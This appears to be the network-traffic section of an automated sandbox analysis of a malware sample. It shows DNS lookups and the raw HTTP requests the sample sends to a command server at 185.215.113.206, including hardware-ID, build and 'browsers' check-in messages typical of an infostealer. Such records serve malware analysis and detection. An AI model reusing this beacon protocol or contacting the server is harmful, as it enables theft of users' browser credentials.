Nov 17, 2024 22:22:25.244895935 CET	1.1.1.1	192.168.2.7	0x6fb9	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 17, 2024 22:22:25.256799936 CET	1.1.1.1	192.168.2.7	0xf498	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.278997898 CET	1.1.1.1	192.168.2.7	0x25f1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 17, 2024 22:22:25.285732985 CET	1.1.1.1	192.168.2.7	0x6d1e	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.291615963 CET	1.1.1.1	192.168.2.7	0x610d	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:25.291615963 CET	1.1.1.1	192.168.2.7	0x610d	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.292207956 CET	1.1.1.1	192.168.2.7	0xd4ce	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:25.292207956 CET	1.1.1.1	192.168.2.7	0xd4ce	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.296148062 CET	1.1.1.1	192.168.2.7	0x2a47	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.301716089 CET	1.1.1.1	192.168.2.7	0x8600	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.315964937 CET	1.1.1.1	192.168.2.7	0xce09	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.325330019 CET	1.1.1.1	192.168.2.7	0x12f7	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:25.325330019 CET	1.1.1.1	192.168.2.7	0x12f7	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:25.325330019 CET	1.1.1.1	192.168.2.7	0x12f7	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.338185072 CET	1.1.1.1	192.168.2.7	0x9e42	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.385230064 CET	1.1.1.1	192.168.2.7	0x8552	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 17, 2024 22:22:25.492532969 CET	1.1.1.1	192.168.2.7	0xd564	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:25.499566078 CET	1.1.1.1	192.168.2.7	0xbab7	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.562604904 CET	1.1.1.1	192.168.2.7	0x85e7	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.562791109 CET	1.1.1.1	192.168.2.7	0xb568	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:25.562791109 CET	1.1.1.1	192.168.2.7	0xb568	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.578787088 CET	1.1.1.1	192.168.2.7	0x5c99	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:25.578787088 CET	1.1.1.1	192.168.2.7	0x5c99	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.592741013 CET	1.1.1.1	192.168.2.7	0x8b26	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.876043081 CET	1.1.1.1	192.168.2.7	0x78e1	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.876043081 CET	1.1.1.1	192.168.2.7	0x78e1	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.876072884 CET	1.1.1.1	192.168.2.7	0xa687	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:25.879024029 CET	1.1.1.1	192.168.2.7	0xba1f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:25.879024029 CET	1.1.1.1	192.168.2.7	0xba1f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:26.542753935 CET	1.1.1.1	192.168.2.7	0x350c	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:26.552330017 CET	1.1.1.1	192.168.2.7	0x9f49	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:26.942070961 CET	1.1.1.1	192.168.2.7	0x6396	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:28.162801981 CET	1.1.1.1	192.168.2.7	0x5581	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:28.162801981 CET	1.1.1.1	192.168.2.7	0x5581	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:28.162801981 CET	1.1.1.1	192.168.2.7	0x5581	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:28.177648067 CET	1.1.1.1	192.168.2.7	0x8c9	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145675898 CET	1.1.1.1	192.168.2.7	0x8579	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145859003 CET	1.1.1.1	192.168.2.7	0x25b4	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:29.145859003 CET	1.1.1.1	192.168.2.7	0x25b4	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.146187067 CET	1.1.1.1	192.168.2.7	0x8064	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:29.146187067 CET	1.1.1.1	192.168.2.7	0x8064	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163192034 CET	1.1.1.1	192.168.2.7	0xa214	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.163249969 CET	1.1.1.1	192.168.2.7	0x9b7d	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.183474064 CET	1.1.1.1	192.168.2.7	0xc7e	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 17, 2024 22:22:29.216022015 CET	1.1.1.1	192.168.2.7	0xa8c1	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:29.216022015 CET	1.1.1.1	192.168.2.7	0xa8c1	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.216022015 CET	1.1.1.1	192.168.2.7	0xa8c1	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.216022015 CET	1.1.1.1	192.168.2.7	0xa8c1	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.216022015 CET	1.1.1.1	192.168.2.7	0xa8c1	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.216097116 CET	1.1.1.1	192.168.2.7	0x4ddd	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 17, 2024 22:22:29.216097116 CET	1.1.1.1	192.168.2.7	0x4ddd	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 17, 2024 22:22:29.216097116 CET	1.1.1.1	192.168.2.7	0x4ddd	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 17, 2024 22:22:29.216097116 CET	1.1.1.1	192.168.2.7	0x4ddd	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 17, 2024 22:22:29.222830057 CET	1.1.1.1	192.168.2.7	0xdafe	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.244446993 CET	1.1.1.1	192.168.2.7	0xf47e	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.244446993 CET	1.1.1.1	192.168.2.7	0xf47e	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.244446993 CET	1.1.1.1	192.168.2.7	0xf47e	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.244446993 CET	1.1.1.1	192.168.2.7	0xf47e	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.244710922 CET	1.1.1.1	192.168.2.7	0xedf4	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 17, 2024 22:22:29.253608942 CET	1.1.1.1	192.168.2.7	0x94a6	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:29.323851109 CET	1.1.1.1	192.168.2.7	0x8fdb	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:33.005003929 CET	1.1.1.1	192.168.2.7	0x47bd	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:33.005003929 CET	1.1.1.1	192.168.2.7	0x47bd	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:44.085083008 CET	1.1.1.1	192.168.2.7	0x193	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:44.085083008 CET	1.1.1.1	192.168.2.7	0x193	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:53.348881960 CET	1.1.1.1	192.168.2.7	0xeee7	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.017327070 CET	1.1.1.1	192.168.2.7	0xf301	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.056201935 CET	1.1.1.1	192.168.2.7	0x99d4	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.056201935 CET	1.1.1.1	192.168.2.7	0x99d4	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.056201935 CET	1.1.1.1	192.168.2.7	0x99d4	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.056201935 CET	1.1.1.1	192.168.2.7	0x99d4	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.089015007 CET	1.1.1.1	192.168.2.7	0x4356	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.089015007 CET	1.1.1.1	192.168.2.7	0x4356	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.089015007 CET	1.1.1.1	192.168.2.7	0x4356	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.089015007 CET	1.1.1.1	192.168.2.7	0x4356	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.127247095 CET	1.1.1.1	192.168.2.7	0xd368	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 17, 2024 22:22:55.127247095 CET	1.1.1.1	192.168.2.7	0xd368	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 17, 2024 22:22:55.127247095 CET	1.1.1.1	192.168.2.7	0xd368	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 17, 2024 22:22:55.127247095 CET	1.1.1.1	192.168.2.7	0xd368	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Nov 17, 2024 22:22:55.176888943 CET	1.1.1.1	192.168.2.7	0xa6b7	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:55.176888943 CET	1.1.1.1	192.168.2.7	0xa6b7	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:55.196829081 CET	1.1.1.1	192.168.2.7	0x4d9a	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Nov 17, 2024 22:22:56.395356894 CET	1.1.1.1	192.168.2.7	0xf801	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 22:22:56.395356894 CET	1.1.1.1	192.168.2.7	0xf801	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49704	185.215.113.206	80	3576	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:20:18.368560076 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 22:20:19.273461103 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 22:20:19.276464939 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 38 36 33 30 37 42 37 36 34 38 43 31 37 33 30 36 37 37 36 35 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 44 48 49 45 47 49 49 49 44 48 49 44 48 44 48 4a 4a 2d 2d 0d 0a Data Ascii: ------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="hwid"486307B7648C1730677652------JEHDHIEGIIIDHIDHDHJJContent-Disposition: form-data; name="build"mars------JEHDHIEGIIIDHIDHDHJJ--
Nov 17, 2024 22:20:19.566874981 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 57 4a 6c 4f 54 6c 6c 4f 47 4d 35 4e 6a 6b 79 5a 47 45 33 4d 44 55 34 4e 32 45 77 5a 57 55 35 5a 6d 55 32 59 7a 49 31 4d 7a 5a 6d 4f 54 68 6a 4d 54 49 34 4f 44 5a 69 4d 54 42 68 4f 54 67 79 59 32 45 30 4d 47 55 31 4d 6d 5a 69 4e 54 55 32 4d 7a 68 6c 59 6d 52 68 4e 6d 4a 6d 4d 32 55 33 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZWJlOTllOGM5NjkyZGE3MDU4N2EwZWU5ZmU2YzI1MzZmOThjMTI4ODZiMTBhOTgyY2E0MGU1MmZiNTU2MzhlYmRhNmJmM2U3fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 17, 2024 22:20:19.568686008 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAFIIDAKJDGDHIDAKJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 62 65 39 39 65 38 63 39 36 39 32 64 61 37 30 35 38 37 61 30 65 65 39 66 65 36 63 32 35 33 36 66 39 38 63 31 32 38 38 36 62 31 30 61 39 38 32 63 61 34 30 65 35 32 66 62 35 35 36 33 38 65 62 64 61 36 62 66 33 65 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 2d 2d 0d 0a Data Ascii: ------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="token"ebe99e8c9692da70587a0ee9fe6c2536f98c12886b10a982ca40e52fb55638ebda6bf3e7------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="message"browsers------FHDAFIIDAKJDGDHIDAKJ--
Nov 17, 2024 22:20:19.849905014 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: 